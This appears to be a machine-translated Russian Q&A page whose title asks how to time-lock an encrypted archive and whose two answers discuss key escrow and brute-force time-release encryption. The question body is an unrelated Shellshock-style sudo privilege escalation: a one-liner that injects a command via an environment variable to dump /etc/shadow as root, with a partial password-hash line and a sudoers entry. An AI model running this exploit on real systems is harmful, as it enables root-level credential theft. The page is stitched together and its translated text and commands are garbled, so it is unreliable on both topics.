Защищенный архив (7z, RAR, Zip) открывается в определенное время

Это работает через Sudo, если Env_Reset отключен (он включен по умолчанию, по крайней мере, у Debian)

по умолчанию env_Reset

, но если кто-то меняет его в

по умолчанию! ENV_RESET (видел это на нескольких системах в прошлом !!!)

затем

sudo y = '() {отключен; }; / bin / cat / etc / тень; ' /tmp/zomg.sh

Rootere:$6$......`
Seg Ошибка идет здесь

Файл sudoers содержит:

Alinh All = / TMP / Zomg.sh

0
24.02.2015, 23:27
2 ответа

Это вопрос информатики.

Можно ли это вообще сделать? Это возможно?

Наивный ответ: Элис дает Бобу заблокированные файл и ключ, но сначала Боб обещает, что не разблокирует его до тех пор, пока не придет время.

Элис передает заблокированный файл Бобу и ключ Клэр. Элис инструктирует Клэр отдать ключ Бобу в заранее определенное время.

В случае написания специального программного обеспечения для расшифровки. Тогда эта программа - Клэр. Боб может манипулировать Клэром: включая обратный инжиниринг, или просто подавать ложное время Клэру.

Элис передает заблокированный файл Бобу и ключ Клайву. Элис инструктирует Clive опубликовать ключ) в заранее установленное время. (Это позволяет избежать того, что Clive должен знать о Бобе, и, возможно, Боб должен знать о Clive. Это снижает риск совместной работы, до назначенной даты).

Какие изменения в будущем сделают возможным для Боба разблокировать файл Alices: Что может быть известно Бобу в будущем (чтобы он мог разблокировать файл), но невозможно, чтобы он знал об этом сейчас (чтобы он не мог разблокировать файл). Но Алиса может знать сейчас (чтобы Алиса могла заблокировать файл сейчас)? Если вы можете ответить на этот вопрос, то я думаю, что это можно сделать.

Возможный ответ: Элис дает Бобу заблокированный файл. В будущем Элис отправляет/публикует/передает ключ.

3
28.01.2020, 02:20

Во-первых, обратите внимание, что сжатие не имеет ничего общего с шифрованием. Есть инструменты, которые делают обоими, но две части функциональности являются независимыми.

Криптография о обработке информации. Это может быть описано как математические преобразования. Математика не зависит от даты. Если я могу расшифровать что-то сегодня, я уже мог расшифровать его вчера, предполагая, что я не получил никакой новой информации с вчерашнего дня. Если вы хотите сделать что-то расшифруемое после определенной даты, но не ранее, вы должны предоставить дополнительную информацию в этой дате.

Существует один из способов сортировки отпуска для зашифрованных данных: требуют огромного количества усилий грубой силы, чтобы найти ключ и настроить это усилие к времени, которое вы хотите, чтобы ваши зашифрованные данные сопротивляются расшифрованию. Это не позволяет выпуску в точной дате: неопределенность измеряется в годы. Он имеет шанс работать, потому что улучшения вычислительной мощности экспоненциальны, поэтому вы не получаете большую часть преимущества, начнем сломать ключ, а не начать через 10 лет с компьютерами того времени. Чувствительно к количеству вычислений, что ваш противник может захотеть расходовать по сравнению с объемом вычислений, что законные пользователи хотят потратить. В лучшем случае он имеет неточность несколько лет на дату выхода. Это подходит только для чрезвычайно конкретных случаев использования.

Если вы хотите, чтобы зашифрованный файл стал расшифрованным в определенной дате, единственное возможное решение - использовать некриптографические средства. Держите ключ для себя до даты выпуска. Если вы не можете или не хотите поддерживать контроль над ключом, заставить кого-то сделать это для вас (тип ключевого депонирования, где вы, получатель зашифрованного файла и служба депонирования введите соглашение о выпуске ключ в определенной дате).

1
28.01.2020, 02:20

Теги

Похожие вопросы